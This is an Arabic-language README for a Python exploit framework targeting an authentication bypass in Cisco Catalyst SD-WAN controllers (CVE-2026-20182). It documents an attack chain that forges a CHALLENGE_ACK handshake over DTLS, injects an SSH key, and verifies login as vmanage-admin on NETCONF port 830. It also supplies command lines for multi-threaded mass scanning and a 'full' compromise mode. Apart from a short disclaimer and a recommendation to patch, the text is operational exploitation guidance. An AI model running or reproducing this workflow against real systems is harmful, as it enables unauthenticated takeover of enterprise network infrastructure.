
تجاوز مصادقة Peering في Cisco Catalyst SD-WAN
تجاوز مصادقة الاقتران في Cisco Catalyst SD-WAN
أداة تقييم للاختبار المصرح به لتجاوز مصادقة الاقتران في Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| الخطورة | حرجة (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| المنتج | Cisco Catalyst SD-WAN Controller (المعروف سابقًا بـ vSmart) · Cisco Catalyst SD-WAN Manager (المعروف سابقًا بـ vManage) |
| المشكلة | آلية مصادقة الاقتران لا يتم تطبيقها بشكل صحيح |
| السكربت | CVE-2026-20182.py |
نشرة مايو 2026: وجود خلل في مصافحة اتصال التحكم / مصادقة الاقتران يسمح لـمهاجم عن بُعد غير مصادَق بتجاوز المصادقة والحصول على وصول داخلي بصلاحيات عالية على الأنظمة المتأثرة.
يرسل المهاجم طلبات مخصصة إلى النظام المتأثر. عند النجاح، قد يتمكن المهاجم من المصادقة كحساب داخلي بصلاحيات عالية وغير جذر والوصول إلى NETCONF، مما يتيح التلاعب بإعدادات بنية SD-WAN.
التوصية: طبّق إصلاحات Cisco الأمنية وفقًا لتوجيهات البائع الرسمية. قيّد التعرض لمستوى الإدارة، وراقب اتصالات مستوى التحكم، ودقّق في وحدات تحكم SD-WAN بحثًا عن تغييرات إعدادات غير مصرح بها.
تيليجرام: @KNxploited
CVE-2026-20182.pyإطار عمل استغلال بلغة Python 3 لـCVE-2026-20182 ضد vdaemon الخاص بـ Cisco SD-WAN (UDP/DTLS 12346).
الاحتياطي للبنية: عند حدوث TEAR_DOWN أو عدم تطابق المعاملات، يعيد المحاولة باستخدام الإعدادات المسبقة البديلة domain/site (1,100) و(1,1) و(0,0) ما لم يتم استخدام --no-fallback.
مهم
check → المستوى 03 كحد أقصى (فحص تجاوز). ليس دليل استغلال كامل.full → استهدف المستوى 01 (ssh_verified).https://host في القائمة → تلميح ويب TCP فقط (80/443). ليس UDP DTLS على 443.pip install -r requirements.txt
ويندوز
bin\ إلى PATH، أو عيّن:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
لينكس
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
تخرج الأداة عند بدء التشغيل إذا تعذر تحميل OpenSSL.
python CVE-2026-20182.py
0 = تشغيل الفحصcheck (فحص تجاوز آمن)python CVE-2026-20182.py -y
CHECK — فحص تجاوز فقط
python CVE-2026-20182.py -y --mode check
FULL — حقن مفتاح + التحقق من SSH (الأهداف المصرح بها فقط)
python CVE-2026-20182.py -y --mode full
-f / --file — قائمة الأهداف (الافتراضي: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — عدد خيوط العمل (1–200، الافتراضي 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID الافتراضي عندما لا يكون موجودًا في القائمة (الافتراضي: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID الافتراضي عندما لا يكون موجودًا في القائمة (الافتراضي: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — تخطي القائمة التفاعلية؛ استخدام قيم سطر الأوامر فقط
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — تخطي اختبار SSH بعد الحقن (غير موصى به في وضع full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — محاولة استخدام TCP 22 أيضًا بعد 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — UDP 12346 فقط؛ تجاهل :port من القائمة
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — مختبر: منافذ UDP إضافية على كل مضيف
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — تعطيل إعادة المحاولة domain/site عند TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — تسجيل كل رسالة بروتوكول TX/RX
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y)targets.txtهدف واحد لكل سطر. الأسطر التي تبدأ بـ # يتم تجاهلها.
ملف مثال
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
غير مدعوم: IPv6 (IPv4 / اسم المضيف فقط).
مثال لأمر SSH (المستوى 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
راجع cisco_sdwan_03_bypass_only.jsonl والإحصاءات المباشرة Bypass only.
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
راجع cisco_sdwan_01_confirmed_ssh.jsonl — الملف الوحيد الذي يحتوي على ssh_verified: true.
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — لا يكتب مفاتيح ولا يثبت SSH بمفرده.ssh_verified=true في وضع full فقط.TEAR_DOWN بعد CHALLENGE_ACK؛ فعّل التراجع الاحتياطي للبنية أو صحّح domain/site في القائمة.sdwan_keys/ أو نتائج الفحص إلى مستودعات عامة.هذا البرنامج مخصص لـالبحث الأمني المصرح به والتقييم الدفاعي والتعليم فقط.
يجب أن يكون لديك إذن كتابي صريح لاختبار أي نظام لا تملكه أو تشغّله. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلف غير مسؤول عن إساءة الاستخدام أو الأضرار أو العواقب القانونية الناشئة عن استخدام هذه الأداة.
استخدم الأداة فقط على الأنظمة والشبكات التي لديك تفويض صريح بإجراء اختبارات أمنية عليها.
بواسطة: Nxploited ( Khaled Alenazi )
| العنصر | التفاصيل |
|---|
| متجه الهجوم | الشبكة |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | متغير |
| الأثر | السرية والسلامة والتوافر — عالٍ |
| الخطوة | المرحلة | الوصف |
|---|
| 1 | تحميل الأهداف | تحليل targets.txt ودمج التكرارات حسب (host, domain_id, site_id) |
| 2 | فحص OpenSSL المسبق | تحميل المكتبات المشتركة OpenSSL 3.x/4.x لـ DTLS المخصص |
| 3 | اتصال DTLS | الاتصال بمنفذ UDP الهدف (دائمًا 12346 أولاً، ثم منافذ القائمة الاختيارية) |
| 4 | CHALLENGE | استقبال CHALLENGE من الخادم (0x08) |
| 5 | CHALLENGE_ACK | إرسال CHALLENGE_ACK مخصص كـvHub (type 2) — تجاوز المصادقة |
| 6 | Hello | إكمال تبادل Hello — يؤكد مسار التجاوز |
| 7a | وضع CHECK | التوقف هنا — تسجيل bypass / Hello OK فقط (بدون مفاتيح، بدون SSH) |
| 7b | وضع FULL | حقن مفتاح SSH العام عبر VMANAGE_TO_PEER |
| 8 | ACK الحقن | توقع REGISTER_TO_VMANAGE (0x0D) كإقرار بروتوكول |
| 9 | التحقق من SSH | اختبار تسجيل الدخول باسم vmanage-admin عبر TCP 830 (NETCONF)، واختياريًا 22 |
| 10 | الإخراج | فرز النتائج في ملفات متدرجة + قائمة أوامر قابلة للقراءة البشرية |
| المستوى | الملف | المعنى |
|---|
| 01 — SSH مؤكد | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — المستوى الوحيد الذي يُعتبر دليل اختراق كامل |
| 02 — حقن ACK فقط | cisco_sdwan_02_inject_ack_only.jsonl | البروتوكول قبل حقن المفتاح؛ فشل تسجيل دخول SSH |
| 03 — تجاوز فقط | cisco_sdwan_03_bypass_only.jsonl | Hello/تجاوز ناجح؛ لا يوجد حقن مؤكد |
| المتطلب | ملاحظات |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | مكتبات مشتركة 3.x أو 4.x (libssl + libcrypto) — إلزامي |
| الوضع | العلامة | حقن SSH | التحقق من SSH | استخدم عندما |
|---|
| CHECK | --mode check (الافتراضي) | لا | لا | فحص واسع النطاق، اكتشاف التجاوز |
| FULL | --mode full | نعم | نعم (ما لم يتم استخدام --no-ssh-verify) | إثبات الاختراق |
| # | الخيار |
|---|
| 1 | ملف الأهداف |
| 2 | خيوط العمل |
| 3 | DOMAIN_ID الافتراضي |
| 4 | SITE_ID الافتراضي |
| 5 | الوضع: check / full |
| 6 | إعادة المحاولة التلقائية للبنية عند TEAR_DOWN |
| 7 | سجل البروتوكول المفصل |
| 8 | التحقق من SSH بعد الحقن |
| 9 | التحقق أيضًا من SSH :22 |
| 10 | محاولة استخدام منافذ UDP المحددة في القائمة |
| 11 | منافذ UDP إضافية (مختبر) |
| 12 | عرض مساعدة تنسيق القائمة |
| 0 | ▶ تشغيل الفحص |
| التنسيق | مثال | السلوك |
|---|
| عنوان IP / اسم المضيف | 10.0.0.1 | UDP 12346 + القيم الافتراضية domain/site |
| عنوان IP + منفذ UDP | 10.0.0.2:12346 | محاولة استخدام منفذ UDP من القائمة أيضًا |
| عنوان IP + منفذ + domain + site | 10.0.0.3:12346:1:100 | مجموعة بنية كاملة |
| رابط HTTPS | https://10.0.0.4 | المضيف + تلميح TCP 443 فقط (ليس UDP/443) |
| رابط HTTP | http://10.0.0.5 | تلميح TCP 80 فقط |
| رابط UDP | udp://10.0.0.6:12346 | UDP صريح |
| مفصول بعلامة تبويب/فاصلة | 10.0.0.7 12346 1 100 | نفس صيغة الحقول الأربعة |
| مفتاح=قيمة | 10.0.0.8;port=12346;domain=1;site=100 | صيغة مفتاح/قيمة بفاصلة منقوطة |
| الملف | المحتوى |
|---|
cisco_sdwan_results.jsonl | نتيجة JSON خام لكل محاولة |
cisco_sdwan_success.txt | أسطر SSH المؤكدة (مفصولة بعلامات تبويب) |
cisco_sdwan_01_confirmed_ssh.jsonl | المستوى 01 — SSH مؤكد |
cisco_sdwan_02_inject_ack_only.jsonl | المستوى 02 — حقن ACK، فشل SSH |
cisco_sdwan_03_bypass_only.jsonl | المستوى 03 — تجاوز / Hello فقط |
cisco_sdwan_commands.txt | أوامر SSH قابلة للقراءة البشرية |
cisco_sdwan_findings.json | ملخص الجلسة + الأعداد |
sdwan_keys/ | مفاتيح خاصة مولّدة (وضع full) |
| العداد | المعنى |
|---|
| التقدم | الأهداف المكتملة / الإجمالي |
| SSH مؤكد | عدد المستوى 01 |
| حقن ACK | عدد المستوى 02 |
| تجاوز فقط | عدد المستوى 03 |
| فشل | أخطاء / لا يوجد تجاوز |